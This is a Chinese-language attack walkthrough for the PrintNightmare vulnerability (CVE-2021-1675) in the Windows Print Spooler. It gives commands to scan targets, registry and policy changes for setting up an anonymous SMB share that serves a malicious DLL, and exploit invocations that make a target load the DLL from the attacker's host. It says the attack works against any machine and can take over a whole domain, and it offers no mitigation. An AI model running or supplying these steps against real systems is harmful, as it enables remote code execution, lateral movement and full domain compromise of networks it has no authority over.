printnightmare(CVE-2021-1675)
目录
谁都能打,不局限于域控。工作组环境也能拿来横移。
Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中,攻击者可以通过该漏洞绕过PfcAddPrinterDriver的安全验证,并在打印服务器中安装恶意的驱动程序。若攻击者所控制的用户在域中,则攻击者可以连接到DC中的Spooler服务,并利用该漏洞在DC中安装恶意的驱动程序,完整的控制整个域环境。
前提:
- 目标开启Spooler服务
- 创建的smb服务允许匿名访问,即目标可以直接获取到文件
- 需自制恶意dll
复现
扫描
可通过如下命令看指定计算机是否开启spooler服务
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
开启smb
linux开启匿名smb
用apt或者yum下载samba,然后修改/etc/samba/smb.conf。将/tmp/映射为smb共享目录。
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
然后使用命令 service smbd start 开启smb服务器。
windows开启匿名smb
1.启用Guest用户
net user guest /active:yes
2.将Everyone权限应用于匿名用户
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
3.指定匿名共享文件的位置
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d smb /f
4.将Guest用户从策略“拒绝从网络访问这台计算机”中移除
导出组策略:
secedit /export /cfg gp.inf /quiet
修改文件gp.inf,将SeDenyNetworkLogonRight = Guest
修改为SeDenyNetworkLogonRight =
,保存
重新导入组策略:
secedit /configure /db gp.sdb /cfg gp.inf /quiet
强制刷新组策略,立即生效(否则,重启后生效):
gpupdate/force
5.设置文件共享
icacls C:\share\ /T /grant Everyone:r
net share share=c:\share /grant:everyone,full
至此,可匿名访问的文件共享服务器开启成功,访问的地址为//<ip>/smb
太长不看版(似乎要重启才能生效):
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
windows开启匿名smb:一键脚本
https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer
支持域环境和工作组环境的Windows操作系统
需要本地管理员权限执行
开启可匿名访问的文件共享服务器:
Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Enable
关闭可匿名访问的文件共享服务器:
Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Disable
exp
python版的exp,impacket框架二开。
https://github.com/cube0x0/CVE-2021-1675
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'